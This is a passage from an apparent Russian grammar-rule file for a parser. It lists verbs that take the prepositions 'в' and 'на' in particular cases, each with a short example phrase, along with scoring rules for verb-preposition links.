rus_verbs:уехать{}, // уехать в город
rus_verbs:целовать{}, // целовать в лобик
rus_verbs:повести{}, // повести в бой
rus_verbs:опуститься{}, // опуститься в кресло
rus_verbs:передать{}, // передать в архив
rus_verbs:побежать{}, // побежать в школу
rus_verbs:стечь{}, // стечь в воду
rus_verbs:уходить{}, // уходить добровольцем в армию
rus_verbs:привести{}, // привести в дом
rus_verbs:шагнуть{}, // шагнуть в неизвестность
rus_verbs:собраться{}, // собраться в поход
rus_verbs:заглянуть{}, // заглянуть в основу
rus_verbs:поспешить{}, // поспешить в церковь
rus_verbs:поцеловать{}, // поцеловать в лоб
rus_verbs:перейти{}, // перейти в высшую лигу
rus_verbs:поверить{}, // поверить в искренность
rus_verbs:глянуть{}, // глянуть в оглавление
rus_verbs:зайти{}, // зайти в кафетерий
rus_verbs:подобрать{}, // подобрать в лесу
rus_verbs:проходить{}, // проходить в помещение
rus_verbs:глядеть{}, // глядеть в глаза
rus_verbs:пригласить{}, // пригласить в театр
rus_verbs:позвать{}, // позвать в класс
rus_verbs:усесться{}, // усесться в кресло
rus_verbs:поступить{}, // поступить в институт
rus_verbs:лечь{}, // лечь в постель
rus_verbs:поклониться{}, // поклониться в пояс
rus_verbs:потянуться{}, // потянуться в лес
rus_verbs:колоть{}, // колоть в ягодицу
rus_verbs:присесть{}, // присесть в кресло
rus_verbs:оглядеться{}, // оглядеться в зеркало
rus_verbs:поглядеть{}, // поглядеть в зеркало
rus_verbs:превратиться{}, // превратиться в лягушку
rus_verbs:принимать{}, // принимать во внимание
rus_verbs:звонить{}, // звонить в колокола
rus_verbs:привезти{}, // привезти в гостиницу
rus_verbs:рухнуть{}, // рухнуть в пропасть
rus_verbs:пускать{}, // пускать в дело
rus_verbs:отвести{}, // отвести в больницу
rus_verbs:сойти{}, // сойти в ад
rus_verbs:набрать{}, // набрать в команду
rus_verbs:собрать{}, // собрать в кулак
rus_verbs:двигаться{}, // двигаться в каюту
rus_verbs:падать{}, // падать в область нуля
rus_verbs:полезть{}, // полезть в драку
rus_verbs:направить{}, // направить в стационар
rus_verbs:приводить{}, // приводить в чувство
rus_verbs:толкнуть{}, // толкнуть в бок
rus_verbs:кинуться{}, // кинуться в драку
rus_verbs:ткнуть{}, // ткнуть в глаз
rus_verbs:заключить{}, // заключить в объятия
rus_verbs:подниматься{}, // подниматься в небо
rus_verbs:расти{}, // расти в глубину
rus_verbs:налить{}, // налить в кружку
rus_verbs:швырнуть{}, // швырнуть в бездну
rus_verbs:прыгнуть{}, // прыгнуть в дверь
rus_verbs:промолчать{}, // промолчать в тряпочку
rus_verbs:садиться{}, // садиться в кресло
rus_verbs:лить{}, // лить в кувшин
rus_verbs:дослать{}, // дослать деталь в держатель
rus_verbs:переслать{}, // переслать в обработчик
rus_verbs:удалиться{}, // удалиться в совещательную комнату
rus_verbs:разглядывать{}, // разглядывать в бинокль
rus_verbs:повесить{}, // повесить в шкаф
инфинитив:походить{ вид:соверш }, // походить в институт
глагол:походить{ вид:соверш },
деепричастие:походив{},
// прилагательное:походивший{вид:соверш},
rus_verbs:помчаться{}, // помчаться в класс
rus_verbs:свалиться{}, // свалиться в яму
rus_verbs:сбежать{}, // сбежать в Англию
rus_verbs:стрелять{}, // стрелять в цель
rus_verbs:обращать{}, // обращать в свою веру
rus_verbs:завести{}, // завести в дом
rus_verbs:приобрести{}, // приобрести в рассрочку
rus_verbs:сбросить{}, // сбросить в яму
rus_verbs:устроиться{}, // устроиться в крупную корпорацию
rus_verbs:погрузиться{}, // погрузиться в пучину
rus_verbs:течь{}, // течь в канаву
rus_verbs:произвести{}, // произвести в звание майора
rus_verbs:метать{}, // метать в цель
rus_verbs:пустить{}, // пустить в дело
rus_verbs:полететь{}, // полететь в Европу
rus_verbs:пропустить{}, // пропустить в здание
rus_verbs:рвануть{}, // рвануть в отпуск
rus_verbs:заходить{}, // заходить в каморку
rus_verbs:нырнуть{}, // нырнуть в прорубь
rus_verbs:рвануться{}, // рвануться в атаку
rus_verbs:приподняться{}, // приподняться в воздух
rus_verbs:превращаться{}, // превращаться в крупную величину
rus_verbs:прокричать{}, // прокричать в ухо
rus_verbs:записать{}, // записать в блокнот
rus_verbs:забраться{}, // забраться в шкаф
rus_verbs:приезжать{}, // приезжать в деревню
rus_verbs:продать{}, // продать в рабство
rus_verbs:проникнуть{}, // проникнуть в центр
rus_verbs:устремиться{}, // устремиться в открытое море
rus_verbs:посадить{}, // посадить в кресло
rus_verbs:упереться{}, // упереться в пол
rus_verbs:ринуться{}, // ринуться в буфет
rus_verbs:отдавать{}, // отдавать в кадетское училище
rus_verbs:отложить{}, // отложить в долгий ящик
rus_verbs:убежать{}, // убежать в приют
rus_verbs:оценить{}, // оценить в миллион долларов
rus_verbs:поднимать{}, // поднимать в стратосферу
rus_verbs:отослать{}, // отослать в квалификационную комиссию
rus_verbs:отодвинуть{}, // отодвинуть в дальний угол
rus_verbs:торопиться{}, // торопиться в школу
rus_verbs:попадаться{}, // попадаться в руки
rus_verbs:поразить{}, // поразить в самое сердце
rus_verbs:доставить{}, // доставить в квартиру
rus_verbs:заслать{}, // заслать в тыл
rus_verbs:сослать{}, // сослать в изгнание
rus_verbs:запустить{}, // запустить в космос
rus_verbs:удариться{}, // удариться в запой
rus_verbs:ударяться{}, // ударяться в крайность
rus_verbs:шептать{}, // шептать в лицо
rus_verbs:уронить{}, // уронить в унитаз
rus_verbs:прорычать{}, // прорычать в микрофон
rus_verbs:засунуть{}, // засунуть в глотку
rus_verbs:плыть{}, // плыть в открытое море
rus_verbs:перенести{}, // перенести в духовку
rus_verbs:светить{}, // светить в лицо
rus_verbs:мчаться{}, // мчаться в ремонт
rus_verbs:стукнуть{}, // стукнуть в лоб
rus_verbs:обрушиться{}, // обрушиться в котлован
rus_verbs:поглядывать{}, // поглядывать в экран
rus_verbs:уложить{}, // уложить в кроватку
инфинитив:попадать{ вид:несоверш }, // попадать в черный список
глагол:попадать{ вид:несоверш },
прилагательное:попадающий{ вид:несоверш },
прилагательное:попадавший{ вид:несоверш },
деепричастие:попадая{},
rus_verbs:провалиться{}, // провалиться в яму
rus_verbs:жаловаться{}, // жаловаться в комиссию
rus_verbs:опоздать{}, // опоздать в школу
rus_verbs:посылать{}, // посылать в парикмахерскую
rus_verbs:погнать{}, // погнать в хлев
rus_verbs:поступать{}, // поступать в институт
rus_verbs:усадить{}, // усадить в кресло
rus_verbs:проиграть{}, // проиграть в рулетку
rus_verbs:прилететь{}, // прилететь в страну
rus_verbs:повалиться{}, // повалиться в траву
rus_verbs:огрызнуться{}, // Собака огрызнулась в ответ
rus_verbs:лезть{}, // лезть в чужие дела
rus_verbs:потащить{}, // потащить в суд
rus_verbs:направляться{}, // направляться в порт
rus_verbs:поползти{}, // поползти в другую сторону
rus_verbs:пуститься{}, // пуститься в пляс
rus_verbs:забиться{}, // забиться в нору
rus_verbs:залезть{}, // залезть в конуру
rus_verbs:сдать{}, // сдать в утиль
rus_verbs:тронуться{}, // тронуться в путь
rus_verbs:сыграть{}, // сыграть в шахматы
rus_verbs:перевернуть{}, // перевернуть в более удобную позу
rus_verbs:сжимать{}, // сжимать пальцы в кулак
rus_verbs:подтолкнуть{}, // подтолкнуть в бок
rus_verbs:отнести{}, // отнести животное в лечебницу
rus_verbs:одеться{}, // одеться в зимнюю одежду
rus_verbs:плюнуть{}, // плюнуть в колодец
rus_verbs:передавать{}, // передавать в прокуратуру
rus_verbs:отскочить{}, // отскочить в лоб
rus_verbs:призвать{}, // призвать в армию
rus_verbs:увезти{}, // увезти в деревню
rus_verbs:улечься{}, // улечься в кроватку
rus_verbs:отшатнуться{}, // отшатнуться в сторону
rus_verbs:ложиться{}, // ложиться в постель
rus_verbs:пролететь{}, // пролететь в конец
rus_verbs:класть{}, // класть в сейф
rus_verbs:доставлять{}, // доставлять в кабинет
rus_verbs:приобретать{}, // приобретать в кредит
rus_verbs:сводить{}, // сводить в театр
rus_verbs:унести{}, // унести в могилу
rus_verbs:покатиться{}, // покатиться в яму
rus_verbs:сходить{}, // сходить в магазинчик
rus_verbs:спустить{}, // спустить в канализацию
rus_verbs:проникать{}, // проникать в сердцевину
rus_verbs:метнуть{}, // метнуть в болвана гневный взгляд
rus_verbs:пожаловаться{}, // пожаловаться в администрацию
rus_verbs:стучать{}, // стучать в металлическую дверь
rus_verbs:тащить{}, // тащить в ремонт
rus_verbs:заглядывать{}, // заглядывать в ответы
rus_verbs:плюхнуться{}, // плюхнуться в стол ароматного сена
rus_verbs:увести{}, // увести в следующий кабинет
rus_verbs:успевать{}, // успевать в школу
rus_verbs:пробраться{}, // пробраться в собачью конуру
rus_verbs:подавать{}, // подавать в суд
rus_verbs:прибежать{}, // прибежать в конюшню
rus_verbs:рассмотреть{}, // рассмотреть в микроскоп
rus_verbs:пнуть{}, // пнуть в живот
rus_verbs:завернуть{}, // завернуть в декоративную пленку
rus_verbs:уезжать{}, // уезжать в деревню
rus_verbs:привлекать{}, // привлекать в свои ряды
rus_verbs:перебраться{}, // перебраться в прибрежный город
rus_verbs:долить{}, // долить в коктейль
rus_verbs:палить{}, // палить в нападающих
rus_verbs:отобрать{}, // отобрать в коллекцию
rus_verbs:улететь{}, // улететь в неизвестность
rus_verbs:выглянуть{}, // выглянуть в окно
rus_verbs:выглядывать{}, // выглядывать в окно
rus_verbs:пробираться{}, // грабитель, пробирающийся в дом
инфинитив:написать{ aux stress="напис^ать"}, // читатель, написавший в блог
глагол:написать{ aux stress="напис^ать"},
прилагательное:написавший{ aux stress="напис^авший"},
rus_verbs:свернуть{}, // свернуть в колечко
инфинитив:сползать{ вид:несоверш }, // сползать в овраг
глагол:сползать{ вид:несоверш },
прилагательное:сползающий{ вид:несоверш },
прилагательное:сползавший{ вид:несоверш },
rus_verbs:барабанить{}, // барабанить в дверь
rus_verbs:дописывать{}, // дописывать в конец
rus_verbs:меняться{}, // меняться в лучшую сторону
rus_verbs:измениться{}, // измениться в лучшую сторону
rus_verbs:изменяться{}, // изменяться в лучшую сторону
rus_verbs:вписаться{}, // вписаться в поворот
rus_verbs:вписываться{}, // вписываться в повороты
rus_verbs:переработать{}, // переработать в удобрение
rus_verbs:перерабатывать{}, // перерабатывать в удобрение
rus_verbs:уползать{}, // уползать в тень
rus_verbs:заползать{}, // заползать в нору
rus_verbs:перепрятать{}, // перепрятать в укромное место
rus_verbs:заталкивать{}, // заталкивать в вагон
rus_verbs:преобразовывать{}, // преобразовывать в список
инфинитив:конвертировать{ вид:несоверш }, // конвертировать в список
глагол:конвертировать{ вид:несоверш },
инфинитив:конвертировать{ вид:соверш },
глагол:конвертировать{ вид:соверш },
деепричастие:конвертировав{},
деепричастие:конвертируя{},
rus_verbs:изорвать{}, // Он изорвал газету в клочки.
rus_verbs:выходить{}, // Окна выходят в сад.
rus_verbs:говорить{}, // Он говорил в защиту своего отца.
rus_verbs:вырастать{}, // Он вырастает в большого художника.
rus_verbs:вывести{}, // Он вывел детей в сад.
// инфинитив:всыпать{ вид:соверш }, инфинитив:всыпать{ вид:несоверш },
// глагол:всыпать{ вид:соверш }, глагол:всыпать{ вид:несоверш }, // Он всыпал в воду две ложки соли.
// прилагательное:раненый{}, // Он был ранен в левую руку.
// прилагательное:одетый{}, // Он был одет в толстое осеннее пальто.
rus_verbs:бухнуться{}, // Он бухнулся в воду.
rus_verbs:склонять{}, // склонять защиту в свою пользу
rus_verbs:впиться{}, // Пиявка впилась в тело.
rus_verbs:сходиться{}, // Интеллигенты начала века часто сходились в разные союзы
rus_verbs:сохранять{}, // сохранить данные в файл
rus_verbs:собирать{}, // собирать игрушки в ящик
rus_verbs:упаковывать{}, // упаковывать вещи в чемодан
rus_verbs:обращаться{}, // Обращайтесь ко мне в любое время
rus_verbs:стрельнуть{}, // стрельни в толпу!
rus_verbs:пулять{}, // пуляй в толпу
rus_verbs:пульнуть{}, // пульни в толпу
rus_verbs:становиться{}, // Становитесь в очередь.
rus_verbs:вписать{}, // Юля вписала свое имя в список.
rus_verbs:вписывать{}, // Мы вписывали свои имена в список
прилагательное:видный{}, // Планета Марс видна в обычный бинокль
rus_verbs:пойти{}, // Девочка рано пошла в школу
rus_verbs:отойти{}, // Эти обычаи отошли в историю.
rus_verbs:бить{}, // Холодный ветер бил ему в лицо.
rus_verbs:входить{}, // Это входит в его обязанности.
rus_verbs:принять{}, // меня приняли в пионеры
rus_verbs:уйти{}, // Правительство РФ ушло в отставку
rus_verbs:допустить{}, // Япония была допущена в Организацию Объединённых Наций в 1956 году.
rus_verbs:посвятить{}, // Я посвятил друга в свою тайну.
инфинитив:экспортировать{ вид:несоверш }, глагол:экспортировать{ вид:несоверш }, // экспортировать нефть в страны Востока
rus_verbs:взглянуть{}, // Я не смел взглянуть ему в глаза.
rus_verbs:идти{}, // Я иду гулять в парк.
rus_verbs:вскочить{}, // Я вскочил в трамвай и помчался в институт.
rus_verbs:получить{}, // Эту мебель мы получили в наследство от родителей.
rus_verbs:везти{}, // Учитель везёт детей в лагерь.
rus_verbs:качать{}, // Судно качает во все стороны.
rus_verbs:заезжать{}, // Сегодня вечером я заезжал в магазин за книгами.
rus_verbs:связать{}, // Свяжите свои вещи в узелок.
rus_verbs:пронести{}, // Пронесите стол в дверь.
rus_verbs:вынести{}, // Надо вынести примечания в конец.
rus_verbs:устроить{}, // Она устроила сына в школу.
rus_verbs:угодить{}, // Она угодила головой в дверь.
rus_verbs:отвернуться{}, // Она резко отвернулась в сторону.
rus_verbs:рассматривать{}, // Она рассматривала сцену в бинокль.
rus_verbs:обратить{}, // Война обратила город в развалины.
rus_verbs:сойтись{}, // Мы сошлись в школьные годы.
rus_verbs:приехать{}, // Мы приехали в положенный час.
rus_verbs:встать{}, // Дети встали в круг.
rus_verbs:впасть{}, // Из-за болезни он впал в нужду.
rus_verbs:придти{}, // придти в упадок
rus_verbs:заявить{}, // Надо заявить в милицию о краже.
rus_verbs:заявлять{}, // заявлять в полицию
rus_verbs:ехать{}, // Мы будем ехать в Орёл
rus_verbs:окрашиваться{}, // окрашиваться в красный цвет
rus_verbs:решить{}, // Дело решено в пользу истца.
rus_verbs:сесть{}, // Она села в кресло
rus_verbs:посмотреть{}, // Она посмотрела на себя в зеркало.
rus_verbs:влезать{}, // он влезает в мою квартирку
rus_verbs:попасться{}, // в мою ловушку попалась мышь
rus_verbs:лететь{}, // Мы летим в Орёл
ГЛ_ИНФ(брать), // он берет в свою правую руку очень тяжелый шершавый камень
ГЛ_ИНФ(взять), // Коля взял в руку камень
ГЛ_ИНФ(поехать), // поехать в круиз
ГЛ_ИНФ(подать), // подать в отставку
инфинитив:засыпать{ вид:соверш }, глагол:засыпать{ вид:соверш }, // засыпать песок в ящик
инфинитив:засыпать{ вид:несоверш переходность:переходный }, глагол:засыпать{ вид:несоверш переходность:переходный }, // засыпать песок в ящик
ГЛ_ИНФ(впадать), прилагательное:впадающий{}, прилагательное:впадавший{}, деепричастие:впадая{}, // впадать в море
ГЛ_ИНФ(постучать) // постучать в дверь
}
// Чтобы разрешить связывание в паттернах типа: уйти в BEA Systems
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} @regex("[a-z]+[0-9]*") }
then return true
}
fact гл_предл
{
if context { Гл_В_Вин предлог:в{} *:*{ падеж:вин } }
then return true
}
fact гл_предл
{
if context { глагол:подвывать{} предлог:в{} существительное:такт{ падеж:вин } }
then return true
}
#endregion Винительный
// Все остальные варианты по умолчанию запрещаем.
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:предл } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:мест } }
then return false,-3
}
fact гл_предл
{
if context { * предлог:в{} *:*{ падеж:вин } }
then return false,-4
}
fact гл_предл
{
if context { * предлог:в{} * }
then return false,-5
}
#endregion Предлог_В
#region Предлог_НА
// ------------------- С ПРЕДЛОГОМ 'НА' ---------------------------
#region ПРЕДЛОЖНЫЙ
// НА+предложный падеж:
// ЛЕЖАТЬ НА СТОЛЕ
#region VerbList
wordentry_set Гл_НА_Предл=
{
rus_verbs:заслушать{}, // Вопрос заслушали на сессии облсовета
rus_verbs:ПРОСТУПАТЬ{}, // На лбу, носу и щеке проступало черное пятно кровоподтека. (ПРОСТУПАТЬ/ПРОСТУПИТЬ)
rus_verbs:ПРОСТУПИТЬ{}, //
rus_verbs:ВИДНЕТЬСЯ{}, // На другой стороне Океана виднелась полоска суши, окружавшая нижний ярус планеты. (ВИДНЕТЬСЯ)
rus_verbs:ЗАВИСАТЬ{}, // Машина умела зависать в воздухе на любой высоте (ЗАВИСАТЬ)
rus_verbs:ЗАМЕРЕТЬ{}, // Скользнув по траве, он замер на боку (ЗАМЕРЕТЬ, локатив)
rus_verbs:ЗАМИРАТЬ{}, //
rus_verbs:ЗАКРЕПИТЬ{}, // Он вручил ей лишний кинжал, который она воткнула в рубаху и закрепила на подоле. (ЗАКРЕПИТЬ)
rus_verbs:УПОЛЗТИ{}, // Зверь завизжал и попытался уползти на двух невредимых передних ногах. (УПОЛЗТИ/УПОЛЗАТЬ)
rus_verbs:УПОЛЗАТЬ{}, //
rus_verbs:БОЛТАТЬСЯ{}, // Тело его будет болтаться на пространственных ветрах, пока не сгниет веревка. (БОЛТАТЬСЯ)
rus_verbs:РАЗВЕРНУТЬ{}, // Филиппины разрешат США развернуть военные базы на своей территории (РАЗВЕРНУТЬ)
rus_verbs:ПОЛУЧИТЬ{}, // Я пытался узнать секреты и получить советы на официальном русскоязычном форуме (ПОЛУЧИТЬ)
rus_verbs:ЗАСИЯТЬ{}, // Он активировал управление, и на экране снова засияло изображение полумесяца. (ЗАСИЯТЬ)
rus_verbs:ВЗОРВАТЬСЯ{}, // Смертник взорвался на предвыборном митинге в Пакистане (ВЗОРВАТЬСЯ)
rus_verbs:искриться{},
rus_verbs:ОДЕРЖИВАТЬ{}, // На выборах в иранский парламент победу одерживают противники действующего президента (ОДЕРЖИВАТЬ)
rus_verbs:ПРЕСЕЧЬ{}, // На Украине пресекли дерзкий побег заключенных на вертолете (ПРЕСЕЧЬ)
rus_verbs:УЛЕТЕТЬ{}, // Голый норвежец улетел на лыжах с трамплина на 60 метров (УЛЕТЕТЬ)
rus_verbs:ПРОХОДИТЬ{}, // укрывающийся в лесу американский подросток проходил инициацию на охоте, выпив кружку крови первого убитого им оленя (ПРОХОДИТЬ)
rus_verbs:СУЩЕСТВОВАТЬ{}, // На Марсе существовали условия для жизни (СУЩЕСТВОВАТЬ)
rus_verbs:УКАЗАТЬ{}, // Победу в Лиге чемпионов укажут на часах (УКАЗАТЬ)
rus_verbs:отвести{}, // отвести душу на людях
rus_verbs:сходиться{}, // Оба профессора сходились на том, что в черепной коробке динозавра
rus_verbs:сойтись{},
rus_verbs:ОБНАРУЖИТЬ{}, // Доказательство наличия подповерхностного океана на Европе обнаружено на её поверхности (ОБНАРУЖИТЬ)
rus_verbs:НАБЛЮДАТЬСЯ{}, // Редкий зодиакальный свет вскоре будет наблюдаться на ночном небе (НАБЛЮДАТЬСЯ)
rus_verbs:ДОСТИГНУТЬ{}, // На всех аварийных реакторах достигнуто состояние так называемой холодной остановки (ДОСТИГНУТЬ/ДОСТИЧЬ)
глагол:ДОСТИЧЬ{},
инфинитив:ДОСТИЧЬ{},
rus_verbs:завершить{}, // Российские биатлонисты завершили чемпионат мира на мажорной ноте
rus_verbs:РАСКЛАДЫВАТЬ{},
rus_verbs:ФОКУСИРОВАТЬСЯ{}, // Инвесторы предпочитают фокусироваться на среднесрочных ожиданиях (ФОКУСИРОВАТЬСЯ)
rus_verbs:ВОСПРИНИМАТЬ{}, // как несерьезно воспринимали его на выборах мэра (ВОСПРИНИМАТЬ)
rus_verbs:БУШЕВАТЬ{}, // на территории Тверской области бушевала гроза , в результате которой произошло отключение электроснабжения в ряде муниципальных образований региона (БУШЕВАТЬ)
rus_verbs:УЧАСТИТЬСЯ{}, // В последние месяцы в зоне ответственности бундесвера на севере Афганистана участились случаи обстрелов полевых лагерей немецких миротворцев (УЧАСТИТЬСЯ)
rus_verbs:ВЫИГРАТЬ{}, // Почему женская сборная России не может выиграть медаль на чемпионате мира (ВЫИГРАТЬ)
rus_verbs:ПРОПАСТЬ{}, // Пропавшим на прогулке актером заинтересовались следователи (ПРОПАСТЬ)
rus_verbs:УБИТЬ{}, // Силовики убили двух боевиков на административной границе Ингушетии и Чечни (УБИТЬ)
rus_verbs:подпрыгнуть{}, // кобель нелепо подпрыгнул на трех ногах , а его хозяин отправил струю пива мимо рта
rus_verbs:подпрыгивать{},
rus_verbs:высветиться{}, // на компьютере высветится твоя подпись
rus_verbs:фигурировать{}, // его портрет фигурирует на страницах печати и телеэкранах
rus_verbs:действовать{}, // выявленный контрабандный канал действовал на постоянной основе
rus_verbs:СОХРАНИТЬСЯ{}, // На рынке международных сделок IPO сохранится высокая активность (СОХРАНИТЬСЯ НА)
rus_verbs:ПРОЙТИ{}, // Необычный конкурс прошёл на севере Швеции (ПРОЙТИ НА предл)
rus_verbs:НАЧАТЬСЯ{}, // На северо-востоке США началась сильная снежная буря. (НАЧАТЬСЯ НА предл)
rus_verbs:ВОЗНИКНУТЬ{}, // Конфликт возник на почве совместной коммерческой деятельности по выращиванию овощей и зелени (ВОЗНИКНУТЬ НА)
rus_verbs:СВЕТИТЬСЯ{}, // она по-прежнему светится на лицах людей (СВЕТИТЬСЯ НА предл)
rus_verbs:ОРГАНИЗОВАТЬ{}, // Власти Москвы намерены организовать масленичные гуляния на 100 площадках (ОРГАНИЗОВАТЬ НА предл)
rus_verbs:ИМЕТЬ{}, // Имея власть на низовом уровне, оказывать самое непосредственное и определяющее влияние на верховную власть (ИМЕТЬ НА предл)
rus_verbs:ОПРОБОВАТЬ{}, // Опробовать и отточить этот инструмент на местных и региональных выборах (ОПРОБОВАТЬ, ОТТОЧИТЬ НА предл)
rus_verbs:ОТТОЧИТЬ{},
rus_verbs:ДОЛОЖИТЬ{}, // Участникам совещания предложено подготовить по этому вопросу свои предложения и доложить на повторной встрече (ДОЛОЖИТЬ НА предл)
rus_verbs:ОБРАЗОВЫВАТЬСЯ{}, // Солевые и пылевые бури , образующиеся на поверхности обнаженной площади моря , уничтожают урожаи и растительность (ОБРАЗОВЫВАТЬСЯ НА)
rus_verbs:СОБРАТЬ{}, // использует собранные на местном рынке депозиты (СОБРАТЬ НА предл)
инфинитив:НАХОДИТЬСЯ{ вид:несоверш}, // находившихся на борту самолета (НАХОДИТЬСЯ НА предл)
глагол:НАХОДИТЬСЯ{ вид:несоверш },
прилагательное:находившийся{ вид:несоверш },
прилагательное:находящийся{ вид:несоверш },
деепричастие:находясь{},
rus_verbs:ГОТОВИТЬ{}, // пищу готовят сами на примусах (ГОТОВИТЬ НА предл)
rus_verbs:РАЗДАТЬСЯ{}, // Они сообщили о сильном хлопке , который раздался на территории нефтебазы (РАЗДАТЬСЯ НА)
rus_verbs:ПОДСКАЛЬЗЫВАТЬСЯ{}, // подскальзываться на той же апельсиновой корке (ПОДСКАЛЬЗЫВАТЬСЯ НА)
rus_verbs:СКРЫТЬСЯ{}, // Германия: латвиец ограбил магазин и попытался скрыться на такси (СКРЫТЬСЯ НА предл)
rus_verbs:ВЫРАСТИТЬ{}, // Пациенту вырастили новый нос на руке (ВЫРАСТИТЬ НА)
rus_verbs:ПРОДЕМОНСТРИРОВАТЬ{}, // Они хотят подчеркнуть эмоциональную тонкость оппозиционера и на этом фоне продемонстрировать бездушность российской власти (ПРОДЕМОНСТРИРОВАТЬ НА предл)
rus_verbs:ОСУЩЕСТВЛЯТЬСЯ{}, // первичный анализ смеси запахов может осуществляться уже на уровне рецепторных нейронов благодаря механизму латерального торможения (ОСУЩЕСТВЛЯТЬСЯ НА)
rus_verbs:ВЫДЕЛЯТЬСЯ{}, // Ягоды брусники, резко выделяющиеся своим красным цветом на фоне зелёной листвы, поедаются животными и птицами (ВЫДЕЛЯТЬСЯ НА)
rus_verbs:РАСКРЫТЬ{}, // На Украине раскрыто крупное мошенничество в сфере туризма (РАСКРЫТЬ НА)
rus_verbs:ОБЖАРИВАТЬСЯ{}, // Омлет обжаривается на сливочном масле с одной стороны, пока он почти полностью не загустеет (ОБЖАРИВАТЬСЯ НА)
rus_verbs:ПРИГОТОВЛЯТЬ{}, // Яичница — блюдо европейской кухни, приготовляемое на сковороде из разбитых яиц (ПРИГОТОВЛЯТЬ НА)
rus_verbs:РАССАДИТЬ{}, // Женька рассадил игрушки на скамеечке (РАССАДИТЬ НА)
rus_verbs:ОБОЖДАТЬ{}, // обожди Анжелу на остановке троллейбуса (ОБОЖДАТЬ НА)
rus_verbs:УЧИТЬСЯ{}, // Марина учится на факультете журналистики (УЧИТЬСЯ НА предл)
rus_verbs:раскладываться{}, // Созревшие семенные экземпляры раскладывают на солнце или в теплом месте, где они делаются мягкими (РАСКЛАДЫВАТЬСЯ В, НА)
rus_verbs:ПОСЛУШАТЬ{}, // Послушайте друзей и врагов на расстоянии! (ПОСЛУШАТЬ НА)
rus_verbs:ВЕСТИСЬ{}, // На стороне противника всю ночь велась перегруппировка сил. (ВЕСТИСЬ НА)
rus_verbs:ПОИНТЕРЕСОВАТЬСЯ{}, // корреспондент поинтересовался у людей на улице (ПОИНТЕРЕСОВАТЬСЯ НА)
rus_verbs:ОТКРЫВАТЬСЯ{}, // Российские биржи открываются на негативном фоне (ОТКРЫВАТЬСЯ НА)
rus_verbs:СХОДИТЬ{}, // Вы сходите на следующей остановке? (СХОДИТЬ НА)
rus_verbs:ПОГИБНУТЬ{}, // Её отец погиб на войне. (ПОГИБНУТЬ НА)
rus_verbs:ВЫЙТИ{}, // Книга выйдет на будущей неделе. (ВЫЙТИ НА предл)
rus_verbs:НЕСТИСЬ{}, // Корабль несётся на всех парусах. (НЕСТИСЬ НА предл)
rus_verbs:вкалывать{}, // Папа вкалывает на работе, чтобы прокормить семью (вкалывать на)
rus_verbs:доказать{}, // разработчики доказали на практике применимость данного подхода к обсчету сцен (доказать на, применимость к)
rus_verbs:хулиганить{}, // дозволять кому-то хулиганить на кладбище (хулиганить на)
глагол:вычитать{вид:соверш}, инфинитив:вычитать{вид:соверш}, // вычитать на сайте (вычитать на сайте)
деепричастие:вычитав{},
rus_verbs:аккомпанировать{}, // он аккомпанировал певцу на губной гармошке (аккомпанировать на)
rus_verbs:набрать{}, // статья с заголовком, набранным на компьютере
rus_verbs:сделать{}, // книга с иллюстрацией, сделанной на компьютере
rus_verbs:развалиться{}, // Антонио развалился на диване
rus_verbs:улечься{}, // Антонио улегся на полу
rus_verbs:зарубить{}, // Заруби себе на носу.
rus_verbs:ценить{}, // Его ценят на заводе.
rus_verbs:вернуться{}, // Отец вернулся на закате.
rus_verbs:шить{}, // Вы умеете шить на машинке?
rus_verbs:бить{}, // Скот бьют на бойне.
rus_verbs:выехать{}, // Мы выехали на рассвете.
rus_verbs:валяться{}, // На полу валяется бумага.
rus_verbs:разложить{}, // она разложила полотенце на песке
rus_verbs:заниматься{}, // я занимаюсь на тренажере
rus_verbs:позаниматься{},
rus_verbs:порхать{}, // порхать на лугу
rus_verbs:пресекать{}, // пресекать на корню
rus_verbs:изъясняться{}, // изъясняться на непонятном языке
rus_verbs:развесить{}, // развесить на столбах
rus_verbs:обрасти{}, // обрасти на южной части
rus_verbs:откладываться{}, // откладываться на стенках артерий
rus_verbs:уносить{}, // уносить на носилках
rus_verbs:проплыть{}, // проплыть на плоту
rus_verbs:подъезжать{}, // подъезжать на повозках
rus_verbs:пульсировать{}, // пульсировать на лбу
rus_verbs:рассесться{}, // птицы расселись на ветках
rus_verbs:застопориться{}, // застопориться на первом пункте
rus_verbs:изловить{}, // изловить на окраинах
rus_verbs:покататься{}, // покататься на машинках
rus_verbs:залопотать{}, // залопотать на неизвестном языке
rus_verbs:растягивать{}, // растягивать на станке
rus_verbs:поделывать{}, // поделывать на пляже
rus_verbs:подстеречь{}, // подстеречь на площадке
rus_verbs:проектировать{}, // проектировать на компьютере
rus_verbs:притулиться{}, // притулиться на кушетке
rus_verbs:дозволять{}, // дозволять кому-то хулиганить на кладбище
rus_verbs:пострелять{}, // пострелять на испытательном полигоне
rus_verbs:засиживаться{}, // засиживаться на работе
rus_verbs:нежиться{}, // нежиться на солнышке
rus_verbs:притомиться{}, // притомиться на рабочем месте
rus_verbs:поселяться{}, // поселяться на чердаке
rus_verbs:потягиваться{}, // потягиваться на земле
rus_verbs:отлеживаться{}, // отлеживаться на койке
rus_verbs:протаранить{}, // протаранить на танке
rus_verbs:гарцевать{}, // гарцевать на коне
rus_verbs:облупиться{}, // облупиться на носу
rus_verbs:оговорить{}, // оговорить на собеседовании
rus_verbs:зарегистрироваться{}, // зарегистрироваться на сайте
rus_verbs:отпечатать{}, // отпечатать на картоне
rus_verbs:сэкономить{}, // сэкономить на мелочах
rus_verbs:покатать{}, // покатать на пони
rus_verbs:колесить{}, // колесить на старой машине
rus_verbs:понастроить{}, // понастроить на участках
rus_verbs:поджарить{}, // поджарить на костре
rus_verbs:узнаваться{}, // узнаваться на фотографии
rus_verbs:отощать{}, // отощать на казенных харчах
rus_verbs:редеть{}, // редеть на макушке
rus_verbs:оглашать{}, // оглашать на общем собрании
rus_verbs:лопотать{}, // лопотать на иврите
rus_verbs:пригреть{}, // пригреть на груди
rus_verbs:консультироваться{}, // консультироваться на форуме
rus_verbs:приноситься{}, // приноситься на одежде
rus_verbs:сушиться{}, // сушиться на балконе
rus_verbs:наследить{}, // наследить на полу
rus_verbs:нагреться{}, // нагреться на солнце
rus_verbs:рыбачить{}, // рыбачить на озере
rus_verbs:прокатить{}, // прокатить на выборах
rus_verbs:запинаться{}, // запинаться на ровном месте
rus_verbs:отрубиться{}, // отрубиться на мягкой подушке
rus_verbs:заморозить{}, // заморозить на улице
